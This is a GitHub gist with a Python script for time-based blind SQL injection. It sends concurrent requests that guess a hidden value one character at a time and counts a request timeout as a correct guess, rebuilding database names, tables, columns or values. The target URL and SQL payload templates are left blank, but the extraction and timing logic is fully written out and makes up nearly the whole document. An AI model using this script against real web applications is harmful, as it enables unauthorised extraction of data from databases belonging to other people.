Skip to content

Instantly share code, notes, and snippets.

@xinyangli
Last active May 6, 2023 08:48
Show Gist options
  • Save xinyangli/d2772d5eeecbefa1e376d25eaed18949 to your computer and use it in GitHub Desktop.
Save xinyangli/d2772d5eeecbefa1e376d25eaed18949 to your computer and use it in GitHub Desktop.
Time-based SQL injection with grequests
import grequests
import requests
from tqdm import tqdm
from urllib3 import Retry
import random
from parse import parse
class ProgressSession():
def __init__(self, urls):
self.pbar = tqdm(total = len(urls), desc = 'Making async requests')
self.urls = urls
def update(self, r, *args, **kwargs):
if not r.is_redirect:
self.pbar.update()
def __enter__(self):
retries = Retry(total=3,
backoff_factor=random.uniform(0.1, 2),
backoff_max=1)
sess = requests.Session()
sess.mount('http://', HTTPAdapter(max_retries=retries))
sess.hooks['response'].append(self.update)
sess.proxies = {}
return sess
def __exit__(self, *args):
self.pbar.close()
url = ""
inDatabase = ""
inDatabase2 = ""
inTable2 = ""
inColumns = ""
inValue = ""
currentIn = inDatabase2
# A list to hold our things to do via async
async_list = []
urls = []
for i in range(1, 45):
for j in range(35, 126):
if chr(j).isalpha() or chr(j).isdigit():
payload = currentIn.format(j, i)
# The "hooks = {..." part is where you define what you want to do
#
# Note the lack of parentheses following do_something, this is
# because the response will be used as the first argument automatically
urls.append(url + payload)
result = ""
def exception_handler(request, exception):
# if exception == requests.exceptions.RetryError:
# print(request.url[-30:])
global result
index, chr_code = parse(url + currentIn, request.url)
result += chr(int(chr_code))
return exception
from requests.adapters import HTTPAdapter
s = grequests.Session()
def get_urls_async(urls):
with ProgressSession(urls) as sess:
rs = (grequests.get(url, session = sess, timeout = 3) for url in urls)
return grequests.map(rs, exception_handler=exception_handler, size=5)
get_urls_async(urls)
print(result)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment